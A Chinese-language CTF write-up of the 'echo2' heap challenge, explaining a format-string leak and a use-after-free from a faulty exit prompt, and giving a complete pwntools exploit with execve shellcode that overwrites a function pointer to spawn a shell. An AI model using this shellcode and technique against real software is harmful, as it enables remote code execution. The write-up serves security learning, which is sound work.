记录一下堆学习的一个例题,考点是UAF和格式化字符串。

fmtstr_uaf

这道题有两个漏洞,一个是fmtstr格式化字符串漏洞,一个是uaf漏洞。

先看保护:

没有PIE,也没有NX保护,并且有可读可写可执行的段,可以利用ret2shellcode。

先整体分析一下:

o是malloc(0x28),申请了0x28长度的堆空间,chunk内容如下:

前三个字节是读入的v6的24长度,分为str1,str2,str3,都是我们可以写入的,*(0+3)也就是chunk的第四个字节写入的是greetings函数的地址, *(0+4)写入的是byebye函数的地址。

接下来是echo1,echo2,echo3三个函数:

echo1:

这个好像没什么用

echo2:

注意到这里先调用*(o+3)(o)也就是greetings函数,读入32也就是0x20长度数据到format,然后有一个格式化字符串漏洞,再调用byebye函数。

echo3:

这里又malloc(0x20)申请了0x20大小的chunk堆空间,再向里面写入数据,打印后再free释放掉。

main函数最后:

先打印菜单,根据输入实现功能,值得注意的是,这里有一个逻辑错误,程序代码的逻辑是只要输入的i=4就会cleanup,再询问是否要1退出,就会导致无论回答y还是n都会执行cleanup函数。

即将o这个chunk释放掉,这里就存在uaf漏洞,如果输入了4但是询问是否真的退出时回答n,这时o已经被释放了,如果我们再进行申请小于或等于o的大小的堆空间,根据glibc堆管理器的性质,仍然会给用户刚刚free的存在于fastbin中的o,也就是use after free,而这题中的echo3申请的s大小是0x20,这样就能重新得到o,导致s和o都指向那块堆内存空间。

本题的思路就是第一次读入时,将小于等于24长度的shellcode写入str1-str3的空间中,也就是这时main的栈帧中,再利用格式化字符串漏洞泄露栈上地址,就能得到shellcode的地址,再利用uaf漏洞将shellcode的地址写入chunk中的greetings的位置(因为s申请的大小是0x20,所以只能拥有前四个字节空间的写入权,而无法写入byebye函数的位置),再调用greetings函数时就会调用shellcode从而得到shell。即如下图:

首先,将shellcode读入:

p.recvuntil("hey, what's your name? : ")
shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shellcode)

再利用格式化字符串漏洞泄露栈上地址,从而得到写入的shellcode所在的地址:

p.recvuntil(b"> ")
p.sendline(b"2")
​
payload=b"%10$p"+b"A"*3
p.sendline(payload)
p.recvuntil(b"0x")
shellcode_addr=int(p.recvuntil(b'AAA',drop=True),16)-0x20

先计算格式化字符串参数:

format的格式化字符串参数是6,而format又是rbp-20h,0x20/8=4,6+4=10,所以rbp的格式化字符串参数是10。

这里的%10$p是对应的prev rbp的地址,再减去0x20就是写入shellcode的地址:

rbp是格式化字符串的第6+4=10个参数,%10$n即可泄露出rbp的地址,再减去0x20就是shellcode的地址。

再利用uaf漏洞重新malloc,得到已经释放的o,再写入shellcode地址到greetings的位置:

p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"to exit? (y/n)")
p.sendline(b"n")
​
p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"hello \n")
p.sendline(b"A"*24+p64(shellcode_addr))
p.interactive()

这里的b"A"*24+p64(shellcode_addr),先用垃圾数据覆盖掉o的前三个字节,第四个就是greetings的位置。

最后只要调用greetings即可得到shell

exp:

from pwn import *
​
p=process("./echo2")
elf=ELF("./echo2")
​
p.recvuntil("hey, what's your name? : ")
shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shellcode)
p.recvuntil(b"> ")
p.sendline(b"2")
​
payload=b"%10$p"+b"A"*3#'A'*3是便于接收。
p.sendline(payload)
p.recvuntil(b"0x")
shellcode_addr=int(p.recvuntil(b'AAA',drop=True),16)-0x20
​
​
p.recvuntil(b"> ")
p.sendline(b"4")
p.recvuntil(b"to exit? (y/n)")
p.sendline(b"n")
​
p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"hello \n")
p.sendline(b"A"*24+p64(shellcode_addr))
p.interactive()


只是一个兴趣使然的骑士